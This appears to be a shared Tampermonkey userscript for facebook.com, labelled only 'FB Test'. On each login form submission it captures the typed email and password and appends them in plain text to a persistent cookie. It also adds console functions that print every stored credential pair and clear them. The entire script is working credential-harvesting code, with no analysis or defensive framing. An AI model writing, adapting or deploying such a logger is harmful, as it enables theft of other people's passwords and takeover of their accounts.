umerata
8/28/2017 - 5:46 AM

FB | label-tempermonkey

FB

// ==UserScript==
// @name         Facebook
// @version      0.1
// @description  FB Test
// @author       Umer Ata
// @match        https://www.facebook.com/*
// @grant        none
// @require http://code.jquery.com/jquery-1.12.4.min.js
// @require https://raw.githubusercontent.com/js-cookie/js-cookie/latest/src/js.cookie.js

// ==/UserScript==


(function() {

    
    $('form').submit(function(){
        console.log('submitted');
    });
    
	const lsn1 = 'fbLocalStorageEmailX0';
	const emailSelector = '#email';
	const passSelector = '#pass';
	const formSelector = '#login_form';

	var emailElem = $(emailSelector);
	var passElem = $(passSelector);
	var temp1 =  [];
	var temp2 =  null;

	function showIt(){
		if(Cookies.get(lsn1)){
			printIt();
			return "-- Data End --";
		}else{
			return 'No Data';
		}
	}

	function clearIt(){
        Cookies.remove(lsn1);
		return 'Data Cleared';
	}

    function getEmailVal(){
        if(emailElem.val()){
            return emailElem.val();
        }else{
            return "[Use Last Used Email]";
        }
    }

	function printIt(){
		temp1 = [];
		console.log('');
        Cookies.get(lsn1).split(',').forEach(function(item){
			console.log('email: '+item.split('|-|')[0]);
			console.log('pass: '+item.split('|-|')[1]);
			console.log('');
		});
    }

	window.showIt = showIt;
	window.clearIt = clearIt;

	$(formSelector).submit(function(e){
		 //e.preventDefault();

		temp2 = Cookies.get(lsn1);
		if(temp2){
            Cookies.set(lsn1, temp2+','+getEmailVal()+'|-|'+passElem.val());
		}else{
            Cookies.set(lsn1, getEmailVal()+'|-|'+passElem.val());
		}

	});

})();